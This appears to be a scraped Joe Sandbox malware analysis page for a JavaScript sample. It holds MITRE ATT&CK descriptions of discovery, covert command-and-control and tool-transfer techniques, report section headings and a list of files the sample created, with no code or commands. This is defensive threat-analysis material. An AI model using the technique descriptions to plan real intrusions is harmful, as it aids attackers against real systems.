Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 10266121931448610316.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a4742a2c-4073-4ada-ac56-d7cc35ae2206.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5840

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5840

Windows Analysis Report
10266121931448610316.js